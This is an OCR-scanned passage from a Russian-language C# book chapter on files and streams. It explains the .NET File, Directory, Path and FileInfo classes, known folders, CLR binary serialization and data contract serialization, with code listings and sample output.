Файлы и потоки мер, он гарантирует, что в конечный файл переносятся атрибуты, напри- мер, указывающие, что файл предназначен только для чтения и включе- но (или нет) шифрование. Метод Exists позволяет обнаружить, существует ли файл, прежде чем вы попытаетесь открыть его. Вам не нужно постоянно пользовать- ся этим методом, потому что класс Filestream сгенерирует исключение FileNotFound, если вы попытаетесь открыть несуществующий файл, но данный метод позволяет избежать генерации исключения. Это может быть полезно, если вы ожидаете, что вам будет необходимо проверять наличие файлов очень часто — исключения сравнительно дороги. Одна- ко вы должны быть осторожны, используя этот метод, потому что, если он возвращает значение true, нет никакой гарантии, что вы не получи- те исключение FileNotFound. Всегда есть вероятность того, что в период между вашей проверкой на наличие файла и попыткой открыть его дру- гой процесс может удалить файл. Кроме того, файл находится на сете- вом ресурсе, и вы можете потерять подключение к сети. Таким образом, вы всегда должны быть готовы к тому, что сгенерируется исключение, даже если вы пытались не провоцировать его. Класс File предлагает множество вспомогательных методов для упрощения открытия или создания файлов. Метод Create просто соз- нает для вас Filestream, передавая ему подходящие значения FileMode, FileAccess и fileshare. В листинге 16.13 показано, как его использовать, Iтакже приведен эквивалентный код, где метод Create не используется. Метод Create предоставляет перегрузки, позволяющие вам указать раз- мер буфера и значения fileoptions и filesecurity, но остальные аргу- менты они по-прежнему будут предоставлять за вас сами вас. ^Листинг 16.13. Метод File.Create в сравнении с созданием нового Объекта FileStream Msing (FileStream fs File.Create ("foo.bar")) ) II Эквивалентный код, не использующий класс File using (var fs = new FileStreamC’foo.bar", FileMode.Create, FileAccess.ReadWrite, FileShare.None))
Глава 16 Методы OpenRead и OpenWrite класса File предоставляют аналоп ные возможности для случаев, когда вы хотите открыть существующ файл для чтения либо открыть или создать файл для записи. Также е< метод Open, который требует от вас передачи значения FileMode. Этот* тод имеет ограниченную полезность — он очень похож на перегружс ную версию конструктора FileStream, который также принимает толь путь к файлу и режим открытия файла, автоматически передавая друг подходящие параметры. Между ними существует случайная разни: поскольку, в то время как по умолчанию конструктор FileStream 1 пользует значение FileShare.Read, метод File.Open умолчанию испо; зует аргумент FileShare.None. Класс File также предлагает несколько вспомогательных метод ориентированных на работу с текстом. Самый простой метод, ОрепТе открывает файл для чтения текста и имеет ограниченную ценность, i скольку он делает то же самое, что и конструктор класса StreamRead который принимает один строковый аргумент. Единственная причи для использования — вам нравится, как выглядит ваш* код после это Если в вашем коде часто применяются вспомогательные методы кла< File, вы можете выбрать такой подход для согласованности, дажеес этот конкретный вспомогательный метод ничего не делает для вас. Некоторые из методов, предоставляемых классом File, предназ! чены для работы с текстом. Они позволяют нам улучшить на код, аьш гичный показанному в листинге 16.14. Этот фрагмент добавляет стро текста в лог-файл. Листинг 16.14. Добавление в файл с помощью класса streamwriter static void Log(string message) { using (var sw = new Streamwriter(@"c:\temp\log.txt", true)) { sw.WriteLine(message); } } Одна из проблем заключается в том, что это не так легко понять, к открывается поток Streamwriter — что означает аргумент true? Ес задано значение true, это говорит Streamwriter, что мы хотим откры основной поток FileStream в режиме добавления. В листинге 16.151 лается то же самое, но в нем используется метод File.AppendText, koi
Файлы и потоки рый просто вызывает точно такой же конструктор Filestream. Но хотя я был несколько скептичен в отношении метода File .OpenText, посколь- ку он не приносит особой пользы, я думаю, что метод File.AppendText действительно полезен для улучшения читаемости кода, а метод File. OpenText — нет. Гораздо легче понять, что в листинге 16.15 будет добав- ляться текст в файл, нежели в листинге 16.14. Листинг 16.15. Создание добавляющего потока streamwriter с помощью метода File.AppendText File.AppendText. static void Log(string message) ( using (Streamwriter sw = File.AppendText(@"c:\temp\log.txt”)) { sw.WriteLine(message); } } Если вы собираетесь добавить текст в файл и сразу же закрыть его, существует более простой способ. Как показано в листинге 16.16, мы можем облегчить это действие с помощью вспомогательного метода AppendAllText. Листинг 16.16. Добавление одной строки в файл static void Log(string message) { File.AppendAllText(@”c:\temp\log.txt", message); Однако будьте осторожны. В этом примере делается не совсем то же самое, что и в листинге 16.15. В том примере для добавления тек- ста использовался метод WriteLine, но листинг 16.16 эквивалентен ис- пользованию только метода Write. Так что, если вы вызовете метод Log в листинге 16.16 несколько раз, в конечном итоге у вас окажется файл с одной длинной строкой, если строки, которые вы использовали, не со- держат символ конца строки. Если вы хотите работать с строками, су- ществует метод AppendAllLines, принимающий коллекцию строк и до- бавляющий каждую из них как новую строку в конец файла. Этот метод используется в листинге 16.17 для того, чтобы добавлять с каждым вы- зовом новую строку. 799
Глава 16 Листинг 16.17. Добавление одной строки в файл static void Log(string message) { File.AppendAllLines(@"c:\temp\log.txt", new[] { message }); } Поскольку метод AppendAHLines принимает аргумент типа IEnumerable<string>, вы можете использовать его, чтобы добавить лю- бое количество строк. Но совершенно нормально добавить только одну, если это то, что вы хотите. В классе File также определены методы WriteAHText и WriteAHLines, которые работают очень похожим спосо- бом, но, если по указанному пути файл уже существует, они заменят его вместо того, чтобы добавить строки к нему. Есть также методы, предназначенные для чтения текста из файлов. Метод ReadAHText выполняет действия, аналогичные созданию объек- та класса StreamReader и последующего вызова его метода ReadToEnd, - он возвращает все содержимое файла в виде одной строки. Метод Re^dAHBytes извлекает все содержимое файла в массив байтов. Метод ReadAHLines считывает весь файл как массив строк, каждый элемент которого представляет собой строку в файле. Метод ReadLines внешне очень похож на него. Он обеспечивает доступ ко всему файлу как к объ- екту, класс которого реализует интерфейс IEnumerable<string>, где каж- дый член представляет одну строку, разница заключается в том, что он работает лениво — в отличие от всех других методов, описанных в этом абзаце, он считывает в память не весь файл, поэтому для больших фай- лов лучшим выбором будет метод ReadLines. Он не только потребляет меньше памяти, но также позволяет вашему коду быстрее начать рабо- тать — вы можете начать обрабатывать данные, как только первая стро- ка была считана с диска, в то время как ни один из других методов не вернет вам управление, пока не прочитает весь файл. Класс Directory Так же как класс File является статическим классом, предлагающим методы для выполнения42Дераций с файлами, класс Directory пред- ставляет собой статический класс, предлагающий методы для выполне- ния операций с каталогами. Некоторые из методов очень похожи на те, что предлагает класс File, — существуют методы получения и задания времени создания каталога, времени последнего доступа и времени по- следней записи, например, мы также используем методы Move, Exists 800
Файлы и потоки и Delete. В отличие от класса File метод Directory. Delete имеет две пе- регрузки. Одна из них просто принимает путь в директории и работает, только если каталог пуст. Другая принимает значение bool, и, если оно равно true, будет выполнено удаление всего содержимого каталога с ре- курсивным удалением вложенных каталогов и файлов в них. Исполь- зуйте этот метод осторожно. Конечно, существуют также методы работы с непосредственно с ка- талогами. Метод GetFiles принимает путь к директории и возвращает массив строк, содержащий полный путь к каждому файлу в этом катало- ге. Имеется также перегруженный метод, позволяющий задать шаблон, по которому будет выполнена фильтрация результатов, и метод, при- нимающий шаблон, а также флаг, который позволяет вам рекурсивно запрашивать файлы из всех вложенных каталогов. Последний перегру- женный метод используется в листинге 16.18 для того, чтобы найти все файлы с расширением .jpg в каталоге «Мои изображения». (Если вас зовут не Ян, вы должны изменить путь, чтобы он соответствовал имени вашей учетной записи для работы на этом компьютере.) Листинг 16.18. Рекурсивный поиск файлов определенного типа foreach (string file in Directory.GetFiles (@’’c: \users\ian\Pictures", "*.jpg”, Searchoption.AllDirectories)) { Console.WriteLine(file); } Существует аналогичный метод GetDirectories, предлагающий те же три перегруженных метода, которые возвращают каталоги внутри ука- занного каталога вместо того, чтобы возвращать файлы. Кроме того, есть метод GetFileSystemEntries, также имеющий три таких перегруженных варианта, возвращающих и файлы, и директории. Существуют и методы EnumerateFiles, EnumerateDirectories и EnumerateFileSystemEntries, де- лающие то же самое, что три метода GetXxx, но они возвращают объект, класс которого реализует интерфейс lEnumerable <String>. Это ленивое перечисление, так что вы можете начать обработку результатов немед- ленно, а не ждать сведения всех результатов в один большой массив. Класс Directory также предлагает методы, связанные с текущим ка- талогом процесса (то есть того, который используется каждый раз при вызове API для работы с файлами без указания полного пути). Метод 801
GetCurrentDirectory возвращает этот путь, a SetCurrentDirectory уст< навливает его. Есхь возможность создавать каталоги. Метод CreateDirectory пр? нимает путь и попытается создать количество каталогов, достаточно чтобы удостовериться, что путь существует. Так что, если вы передали! значение «C:\new\dir\here», а каталога «C:\new» нет, будут созданы тр новые директории «C:\new», «C:\new\dir» и «C:\new\dir\here». Есл указанный каталог уже есть, метод не рассматривает это как ошибку, о просто возвращает управление, не сделав ничего. Метод GetDirectoryRoot разбивает путь к директории, чтобы пол) чить название диска или другого корневого элемента, такого как сек вое имя. Например, если вы передадите ему «C:\temp\logs», он верне С:\, а если вы передадите «\\someserver\MyShare\dir\test», он верне «\\someserver\myshare». Такого рода разрезка строк, при которой пут к файлу разбивается на компоненты, является обычным требование! для классов, выполняющих операции подобного рода. Класс Path Статический класс Path имеет полезные вспомогательные метод! длЬ работы со строками, в которых есть имена файлов. Часть из них из влекают фрагменты из пути к файлу, например содержащие имя катало га или расширение файла. Некоторые объединяют строки для создана новых путей к файлам. Большинство этих методов просто выполняю специализированную обработку строк и не требуют существованш файлов или каталогов, к которым указан путь. Тем не менее есть не сколько методов, выходящих за рамки манипуляций со строками. На пример, метод Path.GetFullPath примет во внимание текущий катало^ если вы до этого не передадите абсолютный путь в качестве аргумент^ Но так будут поступать только методы, для которых требуется указав реальное местоположение файла. | Метод Path.Combine работает над неудобным вопросом объедине ния имен каталога и файла. Если у вас есть каталог с именем «C:\temp и файл с именем «log.txt», после передач их методу Path.Combine бу дет возвращен результат «C:\temp\log.txt». Он также сработает, ecu вы передадите в качестве первого аргумента «C:\temp\», так что а решает проблему, следует ли передавать дополнительный символ «\| Если второй путь абсолютный, метод обнаруживает этот факт и пре 802
Файлы и потоки сто проигнорирует первый путь, так что^если вы передаете «C:\temp» и «C:\logs\log.txt», результат будет «C:\logs\log. txt». Хотя это может показаться тривиальным вопросом, удивительно легко составить путь к файлу неверно, если вы пытаетесь сделать это сами путем конкатена- ции строк,так что вы должны избегать соблазна и просто использовать метод Path.Combine. Основываясь на пути к файлу, метод GetDirectoryName удаляет фраг- мент с именем файла и просто возвращает каталог. Данный метод яв- ляется хорошей иллюстрацией того, почему вам нужно помнить, что большинство членов класса Path не обращают внимания на файловую систему. Если вы не примете это во внимание, вы можете ожидать, что, если вы передаете методу GetDirectoryName только имя каталога (напри- мер, «C:\Program Files»), он обнаружит, что это каталог, и вернет ту же строку, но на самом деле он будет возвращать только «С:\». Этот метод ищет заключительный символ «/» или «\» и возвращает все, что нахо- дится перед ним. (Так что, если вы передадите каталог с именем, вклю- чающим предшествующий символ «\», например «C:\Program Files\», то он вернет «C:\Program Files». Опять же, весь смысл этого AVl за- ключается в удалении имени файла из полного пути к нему. Если у вас уже есть строки, содержащие только имя папки, вам не нужно вызывать этот API.) Метод GetFileName возвращает только имя файла (включая рас- ширение при его наличии). Как и метод GetDirectoryName, он также ищет последний символ-разделитель каталогов, но возвращает текст, который идет после него, а не перед ним. Опять же, он не смотрит на файловую систему — он работает исключительно со строками. Метод GetFileNameWithoutExtension похож на предыдущий, но если в имени файла присутствует расширение (например, .txt или .jpg), он удаляет его из конца имени. И наоборот, метод GetExtension возвращает расши- рение и больше ничего. Если вам нужно создать временные файлы для выполнения какой- то работы, существуют три метода, о которых стоит знать. Метод GetRandomFileName использует генератор случайных чисел для создания имени, какое вы можете использовать как для файла, так и для катало- га. Это случайное число будет криптографически сильным, что предо- ставляет два полезных свойства: вы можете быть уверены, что это имя окажется уникальным и что его будет трудно угадать. (Некоторые виды атак на системы безопасности возможны, если злоумышленник способен 803
предсказать имя или расположение временных файлов.) Этот метод! создает ничего в файловой системе — он просто возвращает подходящ имя. Метод GetTempFileName, с другой стороны, создаст файл в том мес где операционная система позволяет создавать временные файлы. Эт файл будет пустым, и метод возвращает вам путь к нему в виде строк Затем вы можете открыть файл и изменить его. (Этот метод не тара тирует использование криптографии, чтобы подобрать действителы случайное имя, так что вы не должны надеяться на то, что нельзя буд угадать расположение этого файла. Оно будет уникальным, но и тол ко.) Вы должны удалить любой файл, созданный с помощью мето GetTempFileName, как только вы закончили работать с ним. Наконец, м тод GetTempPath возвращает путь к каталогу, который будет использова метод GetTempFileName. Он не создает ничего, но вы можете использова его в сочетании с именем, возвращенным методом GetRandomFileNa (объедините их с помощью метода Path.Combine), чтобы выбрать мео где вы можете создать собственный временный файл. Классы Fileinfo, Directoryinfo и FileSystemlnfo Несмотря на то что классы File и Folder предоставляют вам досг к информации, такой как время создания файла, является ли файл с стемным или предназначен только для чтения, — у них есть проблем если вам понадобится доступ к нескольким фрагментам информаци Несколько неэффективно собирать каждый фрагмент данных с пом щью отдельного вызова, так как эту информацию можно получить операционной системы с помощью меньшего количества шагов. И ин гда может быть легче передать всего один объект, содержащий все и обходимые данные, вместо того чтобы искать место, куда помести несколько отдельных объектов. Так, в пространстве имен System, определены классы Fileinfo и Directoryinfo, содержащие информаци о файле или каталоге. Поскольку у них есть определенное количест точек соприкосновения, эти файлы являются производными от обще базового класса FileSystemlnfo. Для создания экземпляров этих классов вам следует передать пу к файлу или каталогу, что показано в листинге 16.19. Кстати, еслич рез некоторое время вы посчитаете, что файл был изменен другой пр граммой, и захотите обновить информацию, возвращаемую объекта классов Fileinfo или Directoryinfo, вы можете вызвать метод Refres который перезагрузит информацию из файловой системы.
Файлы и потоки Листинг 1 в. 19. Отображение информации о файле с помощью объекта класса Fileinfo var fi = new Fileinfo(@nc:\temp\log. txt?'); Console.WriteLine(”{0} ({1} bytes) last modified on {2}", fi.FullName, fi.Length, fi.LastWriteTime); Помимо предоставления свойств, соответствующих различным ме- тодам для работы с файлами и каталогами, извлекающими информацию (CreationTime, Attributes и т. д.), эти данные классы предоставляют ме- тоды экземпляра, которые соответствуют многим статическим методам классов File и Directory. Например, если у вас есть объект типа Fileinfo, он предоставляет методы Delete, Encrypt и Decrypt, работающие так же, как и их тезки из класса File, кроме того, что вам не нужно передавать путь к файлу в качестве аргумента. Аналог Move имеет немного другое имя, MoveTo. Класс Fileinfo также предоставляет эквиваленты различных вспо- могательных методов для открытия файла в потоке с использованием объектов класса Stream или FileStream, например AppendText, OpenRead и OpenText. Возможно, более удивительно, но также доступны методы Create и CreateText. Получается, что вы можете создать объект типа Fileinfo для файла, который еще не существует, и затем создать этот файл, используя один из данных вспомогательных методов. Он не пыта- ется заполнить любые свойства, которые описывают файл, до того, как вы обратитесь к ним в первый раз, так что сгенерируется исключение FileNotFoundException в случае, если вы создавали объект типа Fileinfo для того, чтобы создать новый файл. Как и следовало ожидать, класс Directoryinfo также предлагает ме- тоды экземпляра, которые соответствуют различным статическим вспо- могательным методам, определенным в классе Directory. Известные каталоги Настольные приложения иногда нуждаются в использовании опре- деленных каталогов. Например, настройки приложения, как правило, хранятся в определенном каталоге в профиле пользователя, и обычно каталог называется AppData. Существует отдельный каталог для обще- системных настроек приложения — C:\ProgramData. Есть стандартные места для фотографий, видео, музыки и документов, а также каталоги, представляющие особенности оболочки, например рабочий стол и «Из- 805
Глава 16 бранное» пользователя. Хотя эти каталоги часто находятся в одном и том же месте в разных системах, вы никогда не должны пытаться угадать, где они расположены. Многие из этих каталогов имеют разные имена в локализованных версиях ОС Windows. И даже в рамках конкретного языка нет никакой гарантии, что эти папки будут доступны в обычном месте — возможно, некоторые из них перемещены, а информация об их расположении осталась неизменной в разных версиях ОС Windows. Так что, если вам нужен доступ к определенному стандартному ката- логу, вы должны использовать метод GetFolderPath класса Environment, что показано в листинге 16.20. В этом примере возвращается член вло^ женного перечисления Environment.SpecialFolder, который определяй значения для всех известных типов каталогов, доступных в операцион^ ной системе Windows. Листинг 16.20. Определение места хранения настроек string appSettingsRoot = Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData) ; string myAppSettingsFolder = Path.Combine(appSettingsRoot, @’’InteractSoftwareLtd\FrobnicatorPro”) ; Каталог ApplicationData находится в разделе «Roaming» профил^ пользователя. Информация, которая не должна быть скопирована на все машины, используемые человеком (например, кэш, восстановимы! в случае необходимости), должна храниться в локальном разделе - его вы можете получить из записи LocalApplicationData. Если вы пишете приложение в стиле Windows 8, вы увидите, что класс Environment не предоставляет метод GetFolderPath. Среда выпол- нения Windows, поддерживает известные каталоги, но определяет не- сколько иной механизм их использования. Каталоги отдельных при- ложений обрабатываются отдельно от остальных. Пространство имен Windows. Storage содержит класс ApplicationData, имеющий статическое свойство Current, которое позволяет получить экземпляр класса. Он также предоставляет свойства LocalFolder и RoamingFolder, возвращаю- щие объекты типа StorageFolder, представляющие каталоги, и их при- ложение может использовать для хранения переносимых и непереноси- мых данных. В лисТЙнге 16.5 эти особенности класса ApplicationData применяются для определения места хранения информации. 806 '
Файлы и потоки Что касается других каталогов, пространство имен Windows. Storage определяет статический класс KnownFolders со свойствами DocumentsLibrary, PicturesLibrary, и т. д. Сериализация Типы Stream, TextReader и Textwriter предоставляют возможность читать и писать данные в файлы, сети или что-нибудь еще похожее на поток, что обеспечивает подходящий конкретный класс. Но эти аб- стракции поддерживают данные только в виде байтов или текста. Пред- положим, у вас есть объект с несколькими свойствами различных типов, в том числе некоторых числовых типов, а также ссылок на другие объ- екты — часть из них может быть коллекциями. Что делать, если вы хотели написать всю информацию, содержащу- юся в этом объекте, в файл или через сетевое подключение, причем так, чтобы из нее был воссоздан объект того же типа и с такими же значения- ми свойств позже или на компьютере на другом конце линии связи? < Вы можете сделать это с помощью абстракций, показанных в данной главе, но это потребует большого объема работы. Вы должны написать код для чтения каждого свойства и записать их значения в объект класса Stream или Textwriter, а затем вам необходимо преобразовать значение либо в двоичный, либо в текстовый вид. Вам также следует принять решение о представлении — вы бы про- сто записали значения в установленном порядке или же придумали схему для написания пары имя/значение, чтобы не застрять в негибком формате, если вам понадобится добавить больше свойств в дальнейшем? Вам также надо придумать способы обработки коллекций и ссылок на другие объекты, и вы должны решить, что вы могли бы сделать в усло- виях циклических ссылок — если два объекта ссылаются друг на друга, примитивный код может застрять в бесконечном цикле. Фреймворк .NET предлагает несколько решений этой проблемы, каждое из которых вносит различные компромиссы между сложностью поддерживаемых сценариев, способами поддержки версий и взаимодей- ствием с другими платформами. Эти приемы подпадают под широкое название сериализации (потому что она включает в себя запись состоя- ния объекта в той или иной форме, которая хранит данные последова- тельно — как объект класса Stream). । I 807
Глава 16 Некоторые люди описывают сериализацию так, будто с ее помощью фактически объект был сохранен на диск или перемещен по сети. Хотя может быть удобно думать именно так, это вводит в заблуждение. Исхо- дный объект по-прежнему существует. После сериализации он не попал на диск и не перелетел по сети. Сериализация не является ничем кроме записи значений, представляющих состояние объекта, в некоторый по- ток данных или получения потока данных и создания нового объекта, чье состояние основано на сохраненных значениях. Пытаться делать вид, что сериализация представляет собой нечто другое, приведет к путанице. Классы BinaryReader и BinaryWriter Хотя они не являются непосредственной формой сериализации, ни- какое обсуждение этой области не обойдется без упоминания классов BinaryReader и Binarywriter, потому что они решают основную пробле- му, с которой должна справиться любая попытка сериализации и десе- риализации объектов: они могут преобразовать внутренние типы CLR в потоки байтов. Класс Binarywriter является оберткой объекта класса Stream, при- годного для записи. Это обеспечивает наличйе метода Write, который имеет перегруженные варианты для всех встроенных типов, за исключе- нием object. Так, он может принимать значение любых числовых типов, а также string, char или bool, и записывает двоичное представление это- го значения в поток. Он, кроме того, может записывать массивы байтов или символов. Класс BinaryReader является оберткой объекта класса Stream, при- годного для чтения, а также предоставляет различные методы для чтения данных, каждый из которых имеет соответствующие перегру- женные методы, соответствующие методам Write, предоставляемым классом Binarywriter. Например, вы можете вызвать методы ReadDouble, Readlnt32 и Readstring. Для того чтобы использовать эти типы, вы можете создать объект класса Binarywriter, когда вы хотите сериализовать некоторые данные и записать каждое значение, которое хотите сохранить. Если впослед- ствии вы пожелаете десериализовать данные, вы можете обернуть объ- ект класса BinaryReader вокруг потока, содержащего данные, записан- ные с помощью класса-писателя, и вызывать соответствующие методы чтения в том же порядке, в каком вы записали данные в поток. 808
Файлы и потоки Эти классы только решают проблему представления различных встроенных типов .NET в двоичном виде. Вам все еще придется решить, как представить целые объекты, а также каюяоступать в ситуациях, ког- да существуют ссылки на объекты. Сериализация CLR Сериализация CLR, как следует из названия, — это функция, ко- торая встроена в саму среду выполнения, а это не просто особенность библиотеки. (Она доступна только в полной версии .NET Framework и недоступна в Silverlight, Windows Phone или версии .NET Core Profile для создания приложений в стиле Windows 8.) Это довольно сложный механизм, разработанный, чтобы помочь вам записать полное состоя- ние объекта, потенциально включая любые другие объекты, на которые он ссылается. Типы должны выбирать этот механизм — как вы видели в главе 15, существует атрибут [Serializable], чье присутствие необхо- димо, если вы хотите, чтобы среда выполнения CLR сериализовала ваш тип. Как только вы его добавите, среда выполнения CLR может взять на себя все детали. В листинге 16.21 показан тип, отмеченный этим атрибутом, что я буду использовать, чтобы проиллюстрировать сериализацию в действии. Листинг 16.21. Сериализуемый тип using System; using System.Collections.Generic; using System.Linq; [Serializable] class Person { private readonly List<Person> _friends new List<Person>(); public string Name { get; set; } public IList<Person> Friends { get { return _friends; } } public override string ToString() { return string.Format(”{0} (friends: {1})", Name, string.Join(", Friends.Select(f => f.Name)));
Глава 16 Сериализация работает непосредственно с полями объекта. Так как вся работа осуществляется средой выполнения CLR, она имеет доступ ко всем элементам, будь то открытые либо закрытые члены. В этом при- мере класса есть два поля: поле friends, которое вы можете увидеть, а также скрытое генерируемое компилятором поле для автоматического свойства Name. В листинге 16.22 создаются экземпляры этих типов, за- тем они сериализуются, а потом снова десериализуются. Листинг 16.22. Сериализация и десериализация using System; using System.10; using System.Linq; using System.Runtime.Serialization.Formatters.Binary; class Program { static void Main(string!] args) { * var bart new Person { Name = "Bart" }; var millhouse = new Person { Name = "Millhouse" }; var ralph = new Person { Name = "Ralph" ); var wigglePuppy = new Person { Name = "Wiggle Puppy" }; bart.Friends.Add(millhouse); bart.Friends.Add(ralph); millhouse.Friends.Add(bart); ralph.Friends.Add(bart); ralph.Friends.Add(wigglePuppy); Console.WriteLine("Original: {0}", bart); Console.WriteLine("Original: {0}", millhouse); Console.WriteLine("Original: {0}", ralph); var stream = new Memorystream(); ▼ar serializer = new BinaryFormatter(); serializer.Serialize(stream, bart); Person bartCopy; stream.Seek(0, SeekOrigin.Begin); bartCopy = (Person) serializer.Deserialize(stream); Console.WriteLine("Is Bart copy the same object? {0}", object.ReferenceEquals(bart, bartCopy)); Console.WriteLine("Copy: (0)", bartCopy); var ralphCopy = 810
Файлы и потоки bartCopy.Friends.Single(f => f.Namfe == "Ralph”); Console.WriteLine(”Is Ralph copy the same object? {0}", object.ReferenceEquals(ralph, ralphCopy)); Console.WriteLine("Copy: {0}", ralphCopy); I } Я структурировал данные так, что в них присутствуют циклические ссылки. Переменная bart относится к объекту, чье свойство Friends воз- вращает коллекцию, содержащую ссылки на два объекта типа Person. (Кстати, тип List <Т> отмечен атрибутом [Serializable].) Но, конечно, каждый из них имеет также имеет свойство Friends, содержащее коллек- цию, которая отсылает к объекту bart — у нас есть циклическая ссылка. (Там же нециклическая ссылка от Ральфа к его воображаемому другу, щенку Вигглу) Большая часть листинга 16.22 просто устанавливает значения, а за- тем проверяет результаты. Код, который выполняет сериализацию, вы- делен жирным шрифтом. Я использую здесь класс Memorystream для иллюстрации, но механизм сериализации будет одинаково хорошо ра- ботать и с классом FileStream. (И если бы я использовал FileStream, я смог бы загрузить данные обратно некоторое время спустя, запустив программу в другой раз.) Для того чтобы сериализовать объект в поток, мне необходимо просто создать и использовать форматтер, который является объектом API сериализации среды выполнения CLR; опре- деляющий формат сериализации в этом случае двоичный. Его метод Serialize принимает поток и объект и записывает все данные объекта в поток. Следующим шагом примера является перемотка потока в начало, а затем десериализация данных. (Как правило, вы не должны сделать это мгновенно — суть сериализации заключается в том, что вы можете как сохранить состояние объекта, так и отправить его куда-нибудь. Но цель данного кода — демонстрация сериализации в действии.) В приме- ре есть строка кода, которая выполняет сравнение ссылок для того, что- бы проверить, что нам возвращен совершенно новый объект, а не просто ссылка на тот же объект, что и раньше. Далее, я вывожу на экран данные объекта, чтобы убедиться, что все они записаны как следует. Я также достаю запись Ralph из десериализованного объекта, чтобы проверить, что это тоже новый объект (а не ссылка на старый), и убедиться, что его друзья также доступны. 811
Вот результат: Original: Bart (friends: Millhouse, Ralph) Original: Millhouse (friends: Bart) Original: Ralph (friends: Bart, Wiggle Puppy) Is Bart copy the same object? False Copy: Bart "(friends: Millhouse, Ralph) Is Ralph copy the same object? False Copy: Ralph (friends: Bart, Wiggle Puppy) Первые три строки показывают исходные объекты. Далее мы види! что с помощью десериализации мы действительно создали совершена новые объекты, но они имеют те же значения свойств, что и раньше. Дл того чтобы это работало, сериализация должна проверить оба поля пе| вого объекта типа Person, записывая строку, на которую ссылается пол хранящее значение свойства Name, а затем начать работу с объектом тиг List<Person>. Очевидно, удалось выписать тот факт, что список соде] жит два объекта типа Person и ему удалось сериализовать их состою ние — в десериализованной копии, Милхаус и Ральф по-прежнему др) зья Барта. И, как мы можем увидеть из объекта Ralph, он также успешн скопировал свою коллекцию Friends и объекты, которые в ней содержа лись. Но, конечно, коллекция Friends Ральфа также ссылается на об1 ект Bart, но ему, должно быть, удалось избежать повторения процесс копирования этого объекта, в противном случае он бы застрял — сдела бы вторую копию объекта Bart, а затем вторую копию всех друзей Барт и т. д. Сериализация среды выполнения CLR позволяет избежать этоп запоминая, какие объекты она уже видела, и обеспечивая то, что кажды объект сериализуется всего лишь один раз. Этот вариант довольно мощный — простым добавлением одног атрибута я могу заполнить полный граф объектов. Существует и ой ратная сторона: если я изменю реализацию любого из типов, которы! уже был сериализован, могут возникнуть проблемы, если новая вереи моего кода попытается десериализовать поток, полученный с помощы старой версии. Так что не очень хорошо записывать настройки на дис1 поскольку они, скорее всего, будут изменяться в каждой новой версий Когда это происходит, вы можете настроить способ работы сериал^ зации, что делает возможным поддержку разных версий, но в этот мб мент вам снова придется осуществлять много работы самостоятельна В этом случае может быть проще использовать классы BinaryReada и Binarywriter. 812
Файлы и потоки Еще одна проблема сериализации CLR заключается в том, что она производит двоичные потоки в формате, определенном компанией Microsoft. Если единственный код, который должен иметь дело с пото- ком, поддерживает .NET, это не проблема, но вам может понадобиться создавать потоки для более широкой аудитории. Сериализация среды выполнения CLR предоставляет альтернативный форматтер, который производит XML, но его структура XML очень тесно связана с систе- мой типов .NET, и на практике единственное, что вы обычно може- те сделать с таким потоком, — это вернуть его системе сериализации фреймворка .NET. Таким образом, вы можете также использовать дво- ичное представление — это значительно более компактно. Тем не менее существуют и другие механизмы, кроме сериализации CLR, и они мо- гут производить потоки, которые другим системам может быть проще потреблять. Сериализация контрактов данных .NET имеет механизм сериализации, называемый сериализацией контрактов данных (который доступен для всех версий .NET в фли- чиеот сериализации CLR). Этот механизм был введен в качестве части Windows Communication Foundation (WCF), технологии изготовления служб для удаленного доступа. Сериализация контрактов данных внеш- не похожа на сериализацию CLR — она автоматизирует преобразование между потоками и объектами, но имеет несколько иную философию. Этот механизм был разработан, чтобы упростить изменение форма- та с течением времейи, и потому снисходительно относится к потокам в которых содержатся неожиданные данные, или отсутствуют некото- рые ожидаемые данные. Кроме того, он не так сильно привязан к .NET, фокусируясь не на самом объекте, а на его сериализованном представ- лении, и был разработан с расчетом на совместимость с другими систе- мами. Другое отличие заключается в том факте, что сериализация кон- трактов данных требует от вас быть явным — будут включены только члены, которые вы четко аннотируете как требующие сериализации. (В случае сериализации CLR, как только вы выбрали сериализацию на уровне типа, каждое поле объекта будет сериализовано, если только не отмечено атрибутом [NonSerialized]). В листинге 16.23 показана версия класса Person, аннотированного для сериализации контрактов данных. Атрибут [DataContract] указыва- ет, что этот класс предназначен для использования сериализации кон- 813
Глава 16 трактов данных. Будут сериализованы только члены, аннотированные атрибутом [DataMember]. ’ Листинг 16.23. Включение сериализации контрактов данных using System.Collections.Generic; using System.Linq; using System.Runtime.Serialization; [DataContract] public-class Person { private readonly List<Person> _friends = new List<Person>(); [DataMember] public string Name { get; set; } [DataMember] public IList<Person> Friends { get { return _friends; } } public override string ToString() { return string.Format("{0} (friends: {1})", Name, string.Join(”, Friends.Select(f => f.Name))); ) } Если мы попытаемся сериализовать те же данные, что и раньше, кол аварийно завершит работу, потому что оказывается, что сериализатор контракта данных по умолчанию не справляется с циклическими ссыл- ками. Можно включить поддержку этого, но таким образом усложним результаты и, что более важно, можем потерять одно из преимуществ предлагаемое этой формой сериализации: возможность взаимодейство- вать со средами выполнения, отличными от .NET. (Существует широ- кое кроссплатформенное соглашение о том, как представлять ацикличе- ские структуры данных, а о циклических структурах сказано мало.) Тэд в листинге 16.24 создаются некоторые тестовые данные без каких-либс циклических ссылок. Как и прежде, строки, в которых фактически вы- полняется сериализация, выделены жирным шрифтом. Листинг 16.24. Использование сериализации контрактов данных var bart = new Person { Name = "Bart" ); 1 var millhouse = new Person { Name = "Millhouse" ); i var ralph = new Person { Name = "Ralph" }; < 814 I
Файлы и потоки var wigglePuppy = new Person { Name = "Wiggle Puppy" }; bart. Friends.Add(millhouse); bart.Friends.Add(ralph) ; ralph. Friends. Add (wigglePuppy) ; Memorystream stream = new Memorystream() ; var serializer = new DataContractSerializer(typeof(Person)); serializer.WriteObject(stream, bart); stream.Seek(0, SeekOrigin.Begin); string content = new StreamReader(stream).ReadToEnd(); Console.WriteLine (content) ; Вместо простой десериализации результатов, в этом примере выво- дится на экран сериализованный поток текста, который, оказывается, содержит XML. Если вы запустите код, вы обнаружите, что весь XML объединен в одну строку, но я продемонстрирую результат в таком формате, чтобы сделать его более удобным для чтения: <Person xmlns="http://schemas.datacontract.org/2004/07/’’ xmlns: i="http://www.w3.org/2001/XMLSchema-instance"> <Friends> <Person> <Friends/> <Name>Millhouse</Name> </Person> <Person> <Friends> <Person> <Friends/> <Name>Wiggle Puppy</Name> ! </Person> </Friends> i <Name>Ralph</Name> </Person> </Friends> <Name>Bart</Name> </Person> Как вы можете видеть, был создан ХМL-документ, структура ко- торого основана на предоставленных мною данных. Корневой элемент соответствует имени первого сериализованного типа, а затем каждое 815
